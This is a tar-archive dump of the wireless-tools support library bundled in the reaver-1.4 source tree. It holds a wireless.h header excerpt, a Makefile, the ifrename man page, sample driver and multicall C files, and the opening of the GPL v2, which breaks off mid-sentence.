/* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ __u32 enc_capa; /* IW_ENC_CAPA_* bit field */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* Note : in the case of iw_point, the extra data will come at the * end of the event */ #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/Makefile0000755000175000017500000001413111705505257015224 0ustar reaverreaver## ## Please check the configurion parameters below ## ## Installation directory. By default, go in /usr/local. ## Distributions should probably use /, but they probably know better... ifndef PREFIX PREFIX = /usr/local endif ## Compiler to use (modify this for cross compile). CC = gcc ## Other tools you need to modify for cross compile (static lib only). AR = ar RANLIB = ranlib ## Uncomment this to build tools using static version of the library. ## Mostly useful for embedded platforms without ldd, or to create ## a local version (non-root). # BUILD_STATIC = y ## Uncomment this to build without using libm (less efficient). ## This is mostly useful for embedded platforms without maths. # BUILD_NOLIBM = y ## Uncomment this to strip binary from symbols. This reduce binary size. ## by a few percent but make debug worse... # BUILD_STRIPPING = y ## Uncomment this to build with only essential functionality. ## This leaves out the less used features and cut in half the tools. ## This is mostly useful for embedded platforms without limited feature needs. # BUILD_WE_ESSENTIAL = y # *************************************************************************** # ***** Most users should not need to change anything beyond this point ***** # *************************************************************************** # Version of the Wireless Tools WT_VERSION := $(shell sed -ne "/WT_VERSION/{s:\([^0-9]*\)::;p;q;}" < iwlib.h ) # Version of Wireless Extensions. WE_VERSION := $(shell sed -ne "/WE_VERSION/{s:\([^0-9]*\)::;p;q;}" < iwlib.h ) # Always use local header for wireless extensions WEXT_HEADER = wireless.$(WE_VERSION).h # Targets to build STATIC=libiw.a DYNAMIC=libiw.so.$(WT_VERSION) PROGS= iwconfig iwlist iwpriv iwspy iwgetid iwevent ifrename MANPAGES8=iwconfig.8 iwlist.8 iwpriv.8 iwspy.8 iwgetid.8 iwevent.8 ifrename.8 MANPAGES7=wireless.7 MANPAGES5=iftab.5 EXTRAPROGS= macaddr iwmulticall # Composition of the library : OBJS = iwlib.o # Select which library to build and to link tool with ifdef BUILD_STATIC IWLIB=$(STATIC) IWLIB_INSTALL=install-static else IWLIB=$(DYNAMIC) IWLIB_INSTALL=install-dynamic endif # Standard name for dynamic library so that the dynamic linker can pick it. # We will just create a symbolic link to the real thing. DYNAMIC_LINK= libiw.so # Install directories INSTALL_DIR= $(PREFIX)/sbin/ INSTALL_LIB= $(PREFIX)/lib/ INSTALL_INC= $(PREFIX)/include/ INSTALL_MAN= $(PREFIX)/man/ # Various commands RM = rm -f RM_CMD = $(RM) *.BAK *.bak *.d *.o *.so ,* *~ *.a *.orig *.rej *.out LDCONFIG = ldconfig # Do we want to build with or without libm ? ifdef BUILD_NOLIBM LIBS= WELIB_FLAG= -DWE_NOLIBM=y else LIBS= -lm endif # Stripping or not ? ifdef BUILD_STRIPPING STRIPFLAGS= -Wl,-s else STRIPFLAGS= endif # Do we want to build with only essential functionality ? ifdef BUILD_WE_ESSENTIAL WEDEF_FLAG= -DWE_ESSENTIAL=y endif # Other flags CFLAGS=-Os -W -Wall -Wstrict-prototypes -Wmissing-prototypes -Wshadow \ -Wpointer-arith -Wcast-qual -Winline -I. #CFLAGS=-O2 -W -Wall -Wstrict-prototypes -I. DEPFLAGS=-MMD XCFLAGS=$(CFLAGS) $(DEPFLAGS) $(WARN) $(HEADERS) $(WELIB_FLAG) $(WEDEF_FLAG) PICFLAG=-fPIC # Standard compilation targets all:: $(IWLIB) $(PROGS) %: %.o $(CC) $(LDFLAGS) $(STRIPFLAGS) $(XCFLAGS) -o $@ $^ $(LIBS) %.o: %.c wireless.h $(CC) $(XCFLAGS) -c $< %.so: %.c wireless.h $(CC) $(XCFLAGS) $(PICFLAG) -c -o $@ $< iwconfig: iwconfig.o $(IWLIB) iwlist: iwlist.o $(IWLIB) iwpriv: iwpriv.o $(IWLIB) iwspy: iwspy.o $(IWLIB) iwgetid: iwgetid.o $(IWLIB) iwevent: iwevent.o $(IWLIB) ifrename: ifrename.o $(IWLIB) macaddr: macaddr.o $(IWLIB) # Always do symbol stripping here iwmulticall: iwmulticall.o $(CC) $(LDFLAGS) -Wl,-s $(XCFLAGS) -o $@ $^ $(LIBS) # It's a kind of magic... wireless.h: cp $(WEXT_HEADER) wireless.h # Compilation of the dynamic library $(DYNAMIC): $(OBJS:.o=.so) $(CC) -shared -o $@ -Wl,-soname,$@ $(STRIPFLAGS) $(LIBS) -lc $^ # Compilation of the static library $(STATIC): $(OBJS:.o=.so) $(RM) $@ $(AR) cru $@ $^ $(RANLIB) $@ # Installation : So crude but so effective ;-) # Less crude thanks to many contributions ;-) install:: $(IWLIB_INSTALL) install-bin install-hdr install-man # Install the dynamic library install-dynamic:: $(DYNAMIC) install -m 755 -d $(INSTALL_LIB) install -m 755 $(DYNAMIC) $(INSTALL_LIB) ln -sfn $(DYNAMIC) $(INSTALL_LIB)/$(DYNAMIC_LINK) @echo "*** Don't forget to add $(INSTALL_LIB) to /etc/ld.so.conf, and run ldconfig as root. ***" @$(LDCONFIG) || echo "*** Could not run ldconfig ! ***" # Install the static library install-static:: $(STATIC) install -m 755 -d $(INSTALL_LIB) install -m 644 $(STATIC) $(INSTALL_LIB) # All the binaries. Careful, no dependancy on install-dynamic install-bin:: all install -m 755 -d $(INSTALL_DIR) install -m 755 $(PROGS) $(INSTALL_DIR) # Headers to go with the wireless lib (dev) install-hdr:: wireless.h install -m 755 -d $(INSTALL_INC) install -m 644 iwlib.h $(INSTALL_INC) install -m 644 wireless.h $(INSTALL_INC) # How could you live without those manapages ? install-man:: install -m 755 -d $(INSTALL_MAN)/man8/ install -m 644 $(MANPAGES8) $(INSTALL_MAN)/man8/ install -m 755 -d $(INSTALL_MAN)/man7/ install -m 644 $(MANPAGES7) $(INSTALL_MAN)/man7/ install -m 755 -d $(INSTALL_MAN)/man5/ install -m 644 $(MANPAGES5) $(INSTALL_MAN)/man5/ install-iwmulticall:: iwmulticall install -m 755 -d $(INSTALL_DIR) install -m 755 $< $(INSTALL_DIR)/iwconfig ( cd $(INSTALL_DIR) ; \ ln -f -s iwconfig iwlist ; \ ln -f -s iwconfig iwspy ; \ ln -f -s iwconfig iwpriv ; \ ln -f -s iwconfig iwgetid ) clean:: $(RM_CMD) realclean:: $(RM_CMD) $(RM) $(STATIC) $(DYNAMIC) $(PROGS) $(EXTRAPROGS) libiw* wireless.h uninstall:: for f in $(PROGS); do \ $(RM) $(INSTALL_DIR)/$$f; \ done $(RM) $(INSTALL_LIB)/$(STATIC) $(RM) $(INSTALL_LIB)/$(DYNAMIC) $(RM) $(INSTALL_LIB)/$(DYNAMIC_LINK) $(RM) $(INSTALL_INC)/iwlib.h $(RM) $(INSTALL_INC)/wireless.h for f in $(MANPAGES8); do \ $(RM) $(INSTALL_MAN)/man8/$$f; \ done for f in $(MANPAGES7); do \ $(RM) $(INSTALL_MAN)/man7/$$f; \ done for f in $(MANPAGES5); do \ $(RM) $(INSTALL_MAN)/man5/$$f; \ done # Include dependancies -include *.d reaver-1.4/src/lwe/ifrename.80000755000175000017500000001157311705505257015452 0ustar reaverreaver.\" Jean II - HPL - 2004-2007 .\" ifrename.8 .\" .TH IFRENAME 8 "26 February 2007" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME ifrename \- rename network interfaces based on various static criteria .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .B "ifrename [-c configfile] [-p] [-d] [-u] [-v] [-V] [-D]" .br .B "ifrename [-c configfile] [-i interface] [-n newname]" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Ifrename is a tool allowing you to assign a consistent name to each of your network interface. .PP By default, interface names are dynamic, and each network interface is assigned the first available name .RI ( eth0 ", " eth1 "...)." The order network interfaces are created may vary. For built-in interfaces, the kernel boot time enumeration may vary. For removable interface, the user may plug them in any order. .PP .B Ifrename allow the user to decide what name a network interface will have. .B Ifrename can use a variety of .I selectors to specify how interface names match the network interfaces on the system, the most common selector is the interface .IR "MAC address" . .PP .B Ifrename must be run before interfaces are brought up, which is why it's mostly useful in various scripts (init, hotplug) but is seldom used directly by the user. By default, .B ifrename renames all present system interfaces using mappings defined in .IR /etc/iftab . .\" .\" PARAMETER part .\" .SH PARAMETERS .TP .BI "-c " configfile Set the configuration file to be used (by default .IR /etc/iftab ). The configuration file define the mapping between selectors and interface names, and is described in .IR iftab (5). .br If .I configfile is "-", the configuration is read from stdin. .TP .B -p Probe (load) kernel modules before renaming interfaces. By default .B ifrename only check interfaces already loaded, and doesn't auto-load the required kernel modules. This option enables smooth integration with system not loading modules before calling .BR ifrename . .TP .B -d Enable various .B Debian specific hacks. Combined with .BR -p , only modules for interfaces specified in .I /etc/network/interface are loaded. .TP .BI "-i " interface Only rename the specified .I interface as opposed to all interfaces on the system. The new interface name is printed. .TP .BI "-n " newname When used with .IR -i , specify the new name of the interface. The list of mappings from the configuration file is bypassed, the interface specified with .I -i is renamed directly to .IR newname . The new name may be a wildcard containing a single '*'. .br When used without .IR -i , rename interfaces by using only mappings that would rename them to .IR newname . The new name may not be a wildcard. This use of ifrename is discouraged, because inefficient .RI ( -n " without " -i ). All the interfaces of the system need to be processed at each invocation, therefore in most case it is not faster than just letting ifrename renaming all of them (without both .IR -n " and " -i ). .TP .B -t Enable name takeover support. This allow interface name swapping between two or more interfaces. .br Takeover enable an interface to 'steal' the name of another interface. This works only with kernel 2.6.X and if the other interface is down. Consequently, this is not compatible with Hotplug. The other interface is assigned a random name, but may be renamed later with 'ifrename'. .br The number of takeovers is limited to avoid circular loops, and therefore some complex multi-way name swapping situations may not be fully processed. .br In any case, name swapping and the use of this feature is discouraged, and you are invited to choose unique and unambiguous names for your interfaces... .TP .B -u Enable .I udev output mode. This enables proper integration of .B ifrename in the .I udev framework, .BR udevd (8) will use .B ifrename to assign interface names present in .IR /etc/iftab . In this mode the output of ifrename can be parsed directly by .BR udevd (8) as an IMPORT action. This requires .I udev version 107 or later. .TP .B -D Dry-run mode. Ifrename won't change any interface, it will only print new interface name, if applicable, and return. .br In dry-run mode, interface name wildcards are not resolved. New interface name is printed, even if it is the same as the old name. .br Be also aware that some selectors can only be read by root, for example those based on .BR ethtool ), and will fail silently if run by a normal user. In other words, dry-run mode under a standard user may not give the expected result. .TP .B -V Verbose mode. Ifrename will display internal results of parsing its configuration file and querying the interfaces selectors. Combined with the .I dry-run option, this is a good way to debug complex configurations or trivial problems. .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" FILES part .\" .SH FILES .I /etc/iftab .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR ifconfig (8), .BR ip (8), .BR iftab (5). reaver-1.4/src/lwe/sample_pm.c0000755000175000017500000001306411705505257015711 0ustar reaverreaver/* Note : this particular snipset of code is available under * the LGPL, MPL or BSD license (at your choice). * Jean II */ /* --------------------------- INCLUDE --------------------------- */ /* Backward compatibility for Wireless Extension 9 */ #ifndef IW_POWER_MODIFIER #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ #endif IW_POWER_MODIFIER struct net_local { int pm_on; // Power Management enabled int pm_multi; // Receive multicasts int pm_period; // Power Management period int pm_period_auto; // Power Management auto mode int pm_max_period; // Power Management max period int pm_min_period; // Power Management min period int pm_timeout; // Power Management timeout }; /* --------------------------- HANDLERS --------------------------- */ static int ioctl_set_power(struct net_device *dev, struct iw_request_info *info, struct iw_param *prq, char *extra) { /* Disable it ? */ if(prq->disabled) { local->pm_on = 0; } else { /* Check mode */ switch(prq->flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: local->pm_multi = 0; local->need_commit = 1; break; case IW_POWER_ALL_R: local->pm_multi = 1; local->need_commit = 1; break; case IW_POWER_ON: /* None = ok */ break; default: /* Invalid */ return(-EINVAL); } /* Set period */ if(prq->flags & IW_POWER_PERIOD) { int period = prq->value; #if WIRELESS_EXT < 21 period /= 1000000; #endif /* Hum: check if within bounds... */ /* Activate PM */ local->pm_on = 1; local->need_commit = 1; /* Check min value */ if(prq->flags & IW_POWER_MIN) { local->pm_min_period = period; local->pm_period_auto = 1; } else /* Check max value */ if(prq->flags & IW_POWER_MAX) { local->pm_max_period = period; local->pm_period_auto = 1; } else { /* Fixed value */ local->pm_period = period; local->pm_period_auto = 0; } } /* Set timeout */ if(prq->flags & IW_POWER_TIMEOUT) { /* Activate PM */ local->pm_on = 1; local->need_commit = 1; /* Fixed value in ms */ local->pm_timeout = prq->value/1000; } } return(0); } static int ioctl_get_power(struct net_device *dev, struct iw_request_info *info, struct iw_param *prq, char *extra) { prq->disabled = !local->pm_on; /* By default, display the period */ if(!(prq->flags & IW_POWER_TIMEOUT)) { int inc_flags = prq->flags; prq->flags = IW_POWER_PERIOD | IW_POWER_RELATIVE; /* Check if auto */ if(local->pm_period_auto) { /* By default, the min */ if(!(inc_flags & IW_POWER_MAX)) { prq->value = local->pm_min_period; #if WIRELESS_EXT < 21 prq->value *= 1000000; #endif prq->flags |= IW_POWER_MIN; } else { prq->value = local->pm_max_period; #if WIRELESS_EXT < 21 prq->value *= 1000000; #endif prq->flags |= IW_POWER_MAX; } } else { /* Fixed value. Check the flags */ if(inc_flags & (IW_POWER_MIN | IW_POWER_MAX)) return(-EINVAL); else { prq->value = local->pm_period; #if WIRELESS_EXT < 21 prq->value *= 1000000; #endif } } } else { /* Deal with the timeout - always fixed */ prq->flags = IW_POWER_TIMEOUT; prq->value = local->pm_timeout * 1000; } if(local->pm_multi) prq->flags |= IW_POWER_ALL_R; else prq->flags |= IW_POWER_UNICAST_R; return(0); } static int ioctl_get_range(struct net_device *dev, struct iw_request_info *info, struct iw_point *rrq, char *extra) { struct iw_range *range = (struct iw_range *) extra; rrq->length = sizeof(struct iw_range); memset(range, 0, sizeof(struct iw_range)); #if WIRELESS_EXT > 10 /* Version we are compiled with */ range->we_version_compiled = WIRELESS_EXT; /* Minimum version we recommend */ range->we_version_source = 8; #endif /* WIRELESS_EXT > 10 */ #if WIRELESS_EXT > 9 #if WIRELESS_EXT < 21 range.min_pmp = 1000000; /* 1 units */ range.max_pmp = 12000000; /* 12 units */ #else range.min_pmp = 1; /* 1 units */ range.max_pmp = 12; /* 12 units */ #endif range.min_pmt = 1000; /* 1 ms */ range.max_pmt = 1000000; /* 1 s */ range.pmp_flags = IW_POWER_PERIOD | IW_POWER_RELATIVE | IW_POWER_MIN | IW_POWER_MAX; range.pmt_flags = IW_POWER_TIMEOUT; range.pm_capa = IW_POWER_PERIOD | IW_POWER_TIMEOUT | IW_POWER_UNICAST_R; #endif /* WIRELESS_EXT > 9 */ return(0); } /* --------------------------- BINDING --------------------------- */ #if WIRELESS_EXT > 12 /* Use the new driver API, save overhead */ static const iw_handler handler_table[] = { ... (iw_handler) ioctl_set_power, /* SIOCSIWPOWER */ (iw_handler) ioctl_get_power, /* SIOCGIWPOWER */ }; #else /* WIRELESS_EXT < 12 */ /* Use old API in the ioctl handler */ static int do_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { struct iwreq *wrq = (struct iwreq *) ifr; int err = 0; switch (cmd) { #if WIRELESS_EXT > 8 /* Set the desired Power Management mode */ case SIOCSIWPOWER: err = ioctl_set_power(dev, NULL, &(wrq->u.power), NULL); break; /* Get the power management settings */ case SIOCGIWPOWER: err = ioctl_get_power(dev, NULL, &(wrq->u.power), NULL); break; #endif /* WIRELESS_EXT > 8 */ } return(err); } #endif /* WIRELESS_EXT < 12 */ reaver-1.4/src/lwe/iwmulticall.c0000755000175000017500000001005211705505257016254 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPL 04 * * Main code for "iwmulticall". This is a wrapper for the multicall version * of the wireless tools. * You need to link this code against "-lm". * Thanks to Ned Ludd for the inspiration... * * This file is released under the GPL license. * Copyright (c) 1997-2004 Jean Tourrilhes */ /***************************** INCLUDES *****************************/ #include /* Basename */ /**************************** PROTOTYPES ****************************/ /* Prototypes of the main of each tool */ extern int main_iwconfig(int argc, char ** argv); extern int main_iwlist(int argc, char ** argv); extern int main_iwspy(int argc, char ** argv); extern int main_iwpriv(int argc, char ** argv); extern int main_iwgetid(int argc, char ** argv); /************************** MULTICALL HACK **************************/ /* * The idea for multicall is to put all the tools and the library in * the same binary. This way, you can save the overhead of the library, * of each tool, can better optimise the code and throw away the stuff * you don't need from the library. * This almost divide the size of the tools by two (without stripping). * On the down side, you no longer have the libiw for other tools to * use, but for the target systems (embedded), this doesn't matter * much, as they just need to configure the card... * Note that splitting the lib and the multicall tools would not * make sense, as most gains are found in the inclusion of the lib... * * Our strategy is to include directly the *.c, rather than compile * them separatly. This allow to simplify compilation and hide the * multicall tweaks from the other tools. * Yeah, this leads to a bit a preprocessor abuse... * Jean II */ /* We need the library */ #include "iwlib.c" /* Get iwconfig in there. Mandatory. */ #define main(args...) main_iwconfig(args) #define iw_usage(args...) iwconfig_usage(args) #define find_command(args...) iwconfig_find_command(args) #include "iwconfig.c" #undef find_command #undef iw_usage #undef main /* Get iwlist in there. Scanning support is pretty sweet. */ #define main(args...) main_iwlist(args) #define iw_usage(args...) iwlist_usage(args) #define find_command(args...) iwlist_find_command(args) #include "iwlist.c" #undef find_command #undef iw_usage #undef main #ifndef WE_ESSENTIAL /* Get iwspy in there, it's not that big. */ #define main(args...) main_iwspy(args) #include "iwspy.c" #undef main #endif /* WE_ESSENTIAL */ /* Get iwpriv in there. Mandatory for HostAP and some other drivers. */ #define main(args...) main_iwpriv(args) #define iw_usage(args...) iwpriv_usage(args) #include "iwpriv.c" #undef iw_usage #undef main /* Do we really need iwgetid ? Well, it's not like it's a big one */ #define main(args...) main_iwgetid(args) #define iw_usage(args...) iwgetid_usage(args) #include "iwgetid.c" #undef iw_usage #undef main /* iwevent is useless for most people, don't grab it ? */ /* ifrename is big and useless for those systems */ /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { char * call_name = basename(argv[0]); /* Strip path */ /* This is a testing hack */ if(!strcmp(call_name, "iwmulticall") && (argc > 0)) { argv++; argc--; call_name = basename(argv[0]); } /* Just check the name under which we were called... */ if(!strcmp(call_name, "iwconfig")) return(main_iwconfig(argc, argv)); if(!strcmp(call_name, "iwlist")) return(main_iwlist(argc, argv)); #ifndef WE_ESSENTIAL if(!strcmp(call_name, "iwspy")) return(main_iwspy(argc, argv)); #endif /* WE_ESSENTIAL */ if(!strcmp(call_name, "iwpriv")) return(main_iwpriv(argc, argv)); if(!strcmp(call_name, "iwgetid")) return(main_iwgetid(argc, argv)); /* Uh oh... Not supposed to come here. */ printf("iwmulticall : you are not supposed to call me this way...\n"); return(0); } reaver-1.4/src/lwe/COPYING0000755000175000017500000004311011705505257014616 0ustar reaverreaver GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a 